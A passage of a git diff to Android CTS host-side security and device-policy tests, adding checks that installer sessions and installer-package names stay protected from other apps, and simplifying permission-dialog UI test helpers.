+        remoteCallback.sendResult(result);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java
new file mode 100644
index 0000000..8afcdef
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import static com.android.cts.sessioninspector.Constants.ACTION_ABANDON_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_CREATE_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_GET_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTIVITY_NAME;
+import static com.android.cts.sessioninspector.Constants.REFERRER_URI;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.RemoteCallback;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+public class SessionInspectorTest {
+
+    @Test
+    public void testOnlyOwnerCanSee() throws Exception {
+        String myPackage = Constants.PACKAGE_A.equals(getContext().getPackageName())
+                ? Constants.PACKAGE_A : Constants.PACKAGE_B;
+        String otherPackage = Constants.PACKAGE_A.equals(myPackage) ? Constants.PACKAGE_B
+                : Constants.PACKAGE_A;
+
+        int sessionId = createSession(myPackage);
+
+        final PackageInstaller.SessionInfo sessionToMe = getSessionInfo(myPackage, sessionId);
+        final PackageInstaller.SessionInfo sessionToOther = getSessionInfo(otherPackage, sessionId);
+
+        abandonSession(myPackage, sessionId);
+
+        assertEquals(REFERRER_URI, sessionToMe.getReferrerUri());
+        assertNull(sessionToOther.getReferrerUri());
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    private int createSession(String packageName) throws Exception {
+        Bundle result = sendCommand(new Intent(ACTION_CREATE_SESSION).setComponent(
+                new ComponentName(packageName, ACTIVITY_NAME)));
+        return result.getInt(PackageInstaller.EXTRA_SESSION_ID, 0);
+    }
+
+    private PackageInstaller.SessionInfo getSessionInfo(String packageName, int session)
+            throws Exception {
+        Bundle result = sendCommand(new Intent(ACTION_GET_SESSION).putExtra(
+                PackageInstaller.EXTRA_SESSION_ID, session).setComponent(
+                new ComponentName(packageName, ACTIVITY_NAME)));
+        return result.getParcelable(PackageInstaller.EXTRA_SESSION);
+    }
+
+    private void abandonSession(String packageName, int sessionId) throws Exception {
+        sendCommand(new Intent(ACTION_ABANDON_SESSION).putExtra(PackageInstaller.EXTRA_SESSION_ID,
+                sessionId).setComponent(new ComponentName(packageName, ACTIVITY_NAME)));
+    }
+
+    private Bundle sendCommand(Intent intent) throws Exception {
+        ConditionVariable condition = new ConditionVariable();
+        final Bundle[] resultHolder = new Bundle[1];
+        RemoteCallback callback = new RemoteCallback(result -> {
+            resultHolder[0] = result;
+            condition.open();
+        });
+        intent.putExtra(Intent.EXTRA_RESULT_RECEIVER, callback);
+        intent.setData(Uri.parse("https://" + UUID.randomUUID()));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        getContext().startActivity(intent);
+        condition.block(TimeUnit.SECONDS.toMillis(10));
+        Bundle result = resultHolder[0];
+        if (result.containsKey("error")) {
+            throw (Exception) result.getSerializable("error");
+        }
+        return result;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
index f87a7da..1424c7c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
@@ -68,7 +68,6 @@
     <application>
         <uses-library android:name="android.test.runner" />
         <activity android:name=".BasePermissionActivity" />
-        <activity android:name=".AutoClosingActivity" android:exported="true" />
     </application>
 
     <instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
old mode 100644
new mode 100755
index 351dcf0..0934b4d
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -33,7 +33,6 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
@@ -47,7 +46,6 @@
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
 import android.widget.ScrollView;
-import android.widget.ListView;
 import android.widget.Switch;
 
 import androidx.test.InstrumentationRegistry;
@@ -78,7 +76,6 @@
     private Context mContext;
     private Resources mPlatformResources;
     private boolean mWatch;
-    private boolean mAutomotive;
 
     protected static Instrumentation getInstrumentation() {
         return InstrumentationRegistry.getInstrumentation();
@@ -262,7 +259,6 @@
 
         PackageManager packageManager = mContext.getPackageManager();
         mWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
-        mAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
         initPermissionToLabelMap(packageManager.isPermissionReviewModeEnabled());
 
         UiObject2 button = getUiDevice().findObject(By.text("Close"));
@@ -299,36 +295,25 @@
 
     protected void clickAllowButton() throws Exception {
         scrollToBottomIfWatch();
-        getUiDevice().wait(
-            Until.findObject(mAutomotive
-                ? By.res("android:id/button1")
-                : By.res("com.android.packageinstaller:id/permission_allow_button")),
-            GLOBAL_TIMEOUT_MILLIS).click();
+        getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.packageinstaller:id/permission_allow_button")).click();
     }
 
     protected void clickDenyButton() throws Exception {
         scrollToBottomIfWatch();
-        getUiDevice().wait(
-            Until.findObject(mAutomotive
-                ? By.res("android:id/button3")
-                : By.res("com.android.packageinstaller:id/permission_deny_button")),
-            GLOBAL_TIMEOUT_MILLIS).click();
+        getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.packageinstaller:id/permission_deny_button")).click();
     }
 
     protected void clickDontAskAgainCheckbox() throws Exception {
-        getUiDevice().wait(
-            Until.findObject(
-                By.res("com.android.packageinstaller:id/do_not_ask_checkbox")),
-            GLOBAL_TIMEOUT_MILLIS).click();
+        getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.packageinstaller:id/do_not_ask_checkbox")).click();
     }
 
     protected void clickDontAskAgainButton() throws Exception {
         scrollToBottomIfWatch();
-        getUiDevice().wait(
-            Until.findObject(mAutomotive
-                ? By.res("android:id/button2")
-                : By.res("com.android.packageinstaller:id/permission_deny_dont_ask_again_button")),
-            GLOBAL_TIMEOUT_MILLIS).click();
+        getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.packageinstaller:id/permission_deny_dont_ask_again_button")).click();
     }
 
     protected void grantPermission(String permission) throws Exception {
@@ -349,9 +334,12 @@
 
     private void scrollToBottomIfWatch() throws Exception {
         if (mWatch) {
-            UiObject2 scrollable = getUiDevice().wait(
-                Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
-            if (scrollable != null) scrollable.fling(Direction.DOWN);
+            getUiDevice().wait(Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
+            UiScrollable scrollable =
+                    new UiScrollable(new UiSelector().className(ScrollView.class));
+            if (scrollable.exists()) {
+                scrollable.flingToEnd(10);
+            }
         }
     }
 
@@ -362,7 +350,7 @@
             scroller.setSwipeDeadZonePercentage(0.25);
             return scroller.scrollTextIntoView(text);
         } catch (UiObjectNotFoundException e) {
-            return false;
+            throw new AssertionError("View with text '" + text + "' was not found!", e);
         }
     }
 
@@ -397,7 +385,7 @@
         AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
         Assert.assertNotNull("Permissions item should be present", permItemView);
 
-        click(permItemView, true);
+        click(permItemView);
 
         waitForIdle();
 
@@ -419,24 +407,15 @@
             if (granted != wasGranted) {
                 // Toggle the permission
 
-                boolean willShowPopup = (wasGranted && legacyApp);
-                if (mWatch) {
-                  if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
-                    toggleView.performAction(AccessibilityNodeInfo.ACTION_CLICK);
-                  } else {
-                    itemView.performAction(AccessibilityNodeInfo.ACTION_CLICK);
-                  }
+                if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
+                    click(toggleView);
                 } else {
-                  if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
-                      click(toggleView, willShowPopup);
-                  } else {
-                      click(itemView, willShowPopup);
-                  }
+                    click(itemView);
                 }
 
                 waitForIdle();
 
-                if (willShowPopup) {
+                if (wasGranted && legacyApp) {
                     scrollToBottomIfWatch();
                     String packageName = getInstrumentation().getContext().getPackageManager()
                             .getPermissionControllerPackageName();
@@ -601,14 +580,13 @@
         waitForIdle();
     }
 
-    private static void click(AccessibilityNodeInfo node, boolean awaitWindowsChanged) throws Exception {
-            getInstrumentation().getUiAutomation().executeAndWaitForEvent(
-                    () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
-                    (AccessibilityEvent event) ->
-                        event.getEventType() ==
-                            (awaitWindowsChanged ? AccessibilityEvent.TYPE_WINDOWS_CHANGED
-                            : AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED)
-                    , GLOBAL_TIMEOUT_MILLIS);
+    private static void click(AccessibilityNodeInfo node) throws Exception {
+        getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+                () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+                (AccessibilityEvent event) -> event.getEventType()
+                        == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
+                GLOBAL_TIMEOUT_MILLIS);
     }
 
     private static AccessibilityNodeInfo findCollectionItem(AccessibilityNodeInfo current)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index 12df59b8..79c03fb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -41,14 +41,12 @@
 
     private boolean mLeanback;
     private boolean mWatch;
-    private boolean mAutomotive;
 
     @Before
     public void initialize() {
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         mLeanback = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
         mWatch = pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
-        mAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
     @Test
@@ -491,20 +489,7 @@
     @Test
     public void testNoResidualPermissionsOnUninstall_part1() throws Exception {
         // Grant all permissions
-        String[] permissions;
-        if (mWatch) {
-          // The permission labels of READ_SMS and CALL_PHONE are too long to display on watches,
-          // and thus they got truncated there and can't be matched by grantPermissions().
-          permissions = new String[] {
-                Manifest.permission.WRITE_CALENDAR,
-                Manifest.permission.WRITE_CONTACTS,
-                Manifest.permission.WRITE_EXTERNAL_STORAGE,
-                Manifest.permission.RECORD_AUDIO,
-                Manifest.permission.BODY_SENSORS,
-                Manifest.permission.ACCESS_COARSE_LOCATION,
-                Manifest.permission.CAMERA};
-        } else {
-          permissions = new String[] {
+        grantPermissions(new String[] {
                 Manifest.permission.WRITE_CALENDAR,
                 Manifest.permission.WRITE_CONTACTS,
                 Manifest.permission.WRITE_EXTERNAL_STORAGE,
@@ -513,9 +498,8 @@
                 Manifest.permission.RECORD_AUDIO,
                 Manifest.permission.BODY_SENSORS,
                 Manifest.permission.ACCESS_COARSE_LOCATION,
-                Manifest.permission.CAMERA};
-        }
-        grantPermissions(permissions);
+                Manifest.permission.CAMERA
+        });
     }
 
     @Test
@@ -672,14 +656,13 @@
 
     private void assertPermissionsGrantState(String[] permissions, int grantState) {
         for (String permission : permissions) {
-            assertEquals(
-                "Permission [" + permission + "]", grantState,
-                getInstrumentation().getContext().checkSelfPermission(permission));
+            assertEquals(grantState, getInstrumentation().getContext()
+                    .checkSelfPermission(permission));
         }
     }
 
     private void denyWithPrejudice() throws Exception {
-        if (mLeanback || mWatch || mAutomotive) {
+        if (mLeanback || mWatch) {
             clickDontAskAgainButton();
         } else {
             clickDontAskAgainCheckbox();
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 9233605..e5a8a89 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsPermissionDeclareApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
index 09994d0..891925f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
@@ -48,6 +48,19 @@
     }
 
     /**
+     * Test that we can set the installer package name.
+     */
+    public void testSetInstallPackage() {
+        // Pre-condition.
+        assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+
+        getPackageManager().setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
+
+        // b/150857253, this no longer works without the permission, so assert null
+        assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+    }
+
+    /**
      * Test that we fail if trying to set an installer package with an unknown
      * target package name.
      */
@@ -91,4 +104,23 @@
 
         assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
     }
+
+    /**
+     * Test that we fail if trying to set an installer package that is not
+     * signed with the same cert as the currently set installer.
+     */
+    public void testSetInstallPackageConflictingInstaller() {
+        // Pre-condition.
+        assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+
+        // Have the other package set the installer, under its cert.
+        Intent intent = new Intent();
+        intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
+        intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
+        intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, OTHER_PACKAGE);
+        call(intent);
+
+        // b/150857253, this no longer works without the permission, so assert null
+        assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
index 356f296..a5020f2 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index b78cd07..868e20f 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -16,9 +16,6 @@
 <configuration description="Config for CTS Backup host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
-    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
-        <option name="user-type" value="system" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullbackupApp.apk" />
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index f9a861c..ecaa698 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.adminhostside
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests sts
 
 # Need the dependency to build/run the module solely by atest.
 LOCAL_ADDITIONAL_DEPENDENCIES := $(TARGET_OUT_TESTCASES)/cts-current-api/current.api
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100755
new mode 100644
index 86af199..6c5acb7
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,8 +379,6 @@
         localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
 
-        Thread.sleep(USER_SWITCH_DELAY);
-
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
@@ -411,13 +409,8 @@
 
         LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
         localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
-        broadcastReceiver.waitForBroadcastReceived();
-        localBroadcastManager.unregisterReceiver(broadcastReceiver);
-
-        // Register broadcast receiver for the remove action.
-        localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index 84dc6d6..99b97bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -96,7 +96,7 @@
     public void tearDown() {
         mContext.unregisterReceiver(mReceiver);
     }
-
+  
     @Test
     public void startLockTask() throws Exception {
         Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -105,13 +105,6 @@
         mUiDevice.waitForIdle();
     }
 
-    @Test
-    public void testLockTaskIsActive() throws Exception {
-      Log.d(TAG, "testLockTaskIsActive on host-driven test");
-      waitAndCheckLockedActivityIsResumed();
-      checkLockedActivityIsRunning();
-    }
-
     /**
      * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
      * assume it's finished. Therefore, only use it once in a given test.
@@ -153,18 +146,6 @@
                 new String[0]);
     }
 
-    private void waitAndCheckLockedActivityIsResumed() throws Exception {
-        mUiDevice.waitForIdle();
-
-        // We need to wait until the LockTaskActivity is ready
-        // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
-        synchronized (mActivityResumedLock) {
-          if (!mIsActivityResumed) {
-            mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-         }
-       }
-    }
-
     private void checkLockedActivityIsRunning() throws Exception {
         assertTrue(isActivityOnTop());
         assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 1bd898d..5d7010d 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -28,8 +28,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    compatibility-device-util-axt
+    ctstestrunner-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index 5e4fb07..f305e86 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,8 +23,6 @@
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 import java.lang.InterruptedException;
@@ -44,7 +42,6 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testOwnerChangedBroadcastReceived() throws InterruptedException {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index f20edcc..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -41,8 +41,8 @@
         ComponentName cn = PrimaryUserDeviceAdmin.ADMIN_RECEIVER_COMPONENT;
         if (mDpm.isAdminActive(cn)) {
             mDpm.removeActiveAdmin(cn);
-            // Wait until device admin is not active (with 5 minutes timeout).
-            for (int i = 0; i < 5 * 60 && mDpm.isAdminActive(cn); i++) {
+            // Wait until device admin is not active (with 2 minutes timeout).
+            for (int i = 0; i < 2 * 60 && mDpm.isAdminActive(cn); i++) {
                 Thread.sleep(1000);  // 1 second.
             }
         }
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
similarity index 65%
rename from hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk
rename to hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
index 182ff82..e0e7c4d 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2016 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,29 +11,31 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
+
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    android-support-test \
-    compatibility-device-util-axt \
-    ub-uiautomator
+LOCAL_PACKAGE_NAME := CtsSeparateProfileChallengeApp
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := ReviewPermissionHelper
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_JAVA_LIBRARIES := \
+    android.test.runner.stubs \
+    cts-junit \
+    android.test.base.stubs \
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
+    ub-uiautomator
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
similarity index 67%
copy from tests/tests/telephony4/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
index aa4221f..6d1c14f 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -15,18 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony4.cts">
+    package="com.android.cts.separateprofilechallenge" >
+
+    <uses-sdk android:minSdkVersion="27"/>
 
     <application>
         <uses-library android:name="android.test.runner" />
-    </application>
+        <uses-permission android:name="WRITE_SECURE_SETTINGS"/>
+      </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony4.cts"
-                     android:label="CTS tests of android.telephony4">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
+                     android:targetPackage="com.android.cts.separateprofilechallenge"
+                     android:label="Separate Profile Challenge Permission  CTS tests"/>
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
new file mode 100644
index 0000000..1b0378b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.separateprofilechallenge;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnitRunner;
+
+import static org.junit.Assert.assertNotNull;
+
+public class SeparateProfileChallengePermissionsTest extends AndroidTestCase {
+
+    public void testSeparateProfileChallengePermissions() throws Exception {
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        assertNotNull(dpm);
+        try {
